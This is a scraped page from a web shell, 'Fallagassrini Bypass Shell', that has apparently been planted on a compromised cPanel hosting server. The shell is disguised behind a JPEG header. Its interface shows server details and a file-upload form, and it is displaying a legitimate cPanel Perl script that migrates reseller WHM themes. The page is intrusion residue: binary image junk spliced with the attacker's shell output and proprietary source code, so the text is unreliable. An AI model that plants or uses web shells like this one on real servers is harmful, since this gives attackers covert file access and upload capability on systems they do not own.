JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /scripts/

Linux 43-225-53-84.webhostbox.net 3.10.0-1160.92.1.el7.x86_64 #1 SMP Tue Jun 20 11:48:01 UTC 2023 x86_64
Upload File :
Current File : //scripts/migrate_whmtheme_file_to_userdata

#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/migrate_whmtheme_file_to_userdata
#                                                  Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

package scripts::migrate_whmtheme_file_to_userdata;

=encoding utf-8

=head1 NAME

scripts::migrate_whmtheme_file_to_userdata - moves whmtheme to userdata

=head1 SYNOPSIS

    use scripts::migrate_whmtheme_file_to_userdata;

    scripts::migrate_whmtheme_file_to_userdata::run();

=head1 DESCRIPTION

This script moves the whm theme from the .whmtheme file for resellers to the
userdata for speed improvement.

=cut

use strict;
use warnings;

use parent qw( Cpanel::HelpfulScript );

use Cpanel::Autodie             ();
use Cpanel::NameVariant         ();
use Cpanel::PwCache             ();
use Cpanel::StringFunc::Trim    ();
use Cpanel::AccessIds::LoadFile ();
use Cpanel::Reseller            ();
use Whostmgr::Theme             ();
use Cpanel::Config::Users       ();

use Try::Tiny;

__PACKAGE__->new(@ARGV)->run() if !caller;

use constant _OPTIONS => ();

sub _get_theme_file_path {
    my ($user) = @_;

    return Cpanel::PwCache::gethomedir($user) . '/.whmtheme';
}

=head2 run

Runs the migration script

=cut

sub run {
    my ($self) = @_;

    my $theme_file;
    my $theme;

    my %usermap = map { $_ => 1 } Cpanel::Config::Users::getcpusers();

    # No need to move root because it will continue to use existing behavior
    foreach my $reseller ( Cpanel::Reseller::getresellerslist() ) {

        # ensure user is a cpanel user and not just a system-only reseller
        next unless $usermap{$reseller};

        $theme_file = _get_theme_file_path($reseller);
        $theme      = undef;

        if ( -e $theme_file ) {
            $theme = Cpanel::AccessIds::LoadFile::loadfile_as_user( $reseller, $theme_file );

            if ( Whostmgr::Theme::is_theme_name_valid($theme) ) {

                #capturing write action for errors and warning if appropriate
                try {
                    $theme = Cpanel::StringFunc::Trim::ws_trim($theme);
                    Whostmgr::Theme::set_reseller_theme( $reseller, $theme );
                }
                catch {
                    local $@ = $_;
                    warn;
                };
            }

            try {
                _move_old_theme_file($theme_file);
            }
            catch {
                local $@ = $_;
                warn;
            };
        }

    }

    return;
}

sub _move_old_theme_file {
    my ($filename) = @_;

    my $new_filename = Cpanel::NameVariant::find_name_variant(
        max_length => 254,
        name       => $filename . '.old',
        test       => sub { return !-e $_[0] },
    );

    return Cpanel::Autodie::rename( $filename, $new_filename );
}

1;

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net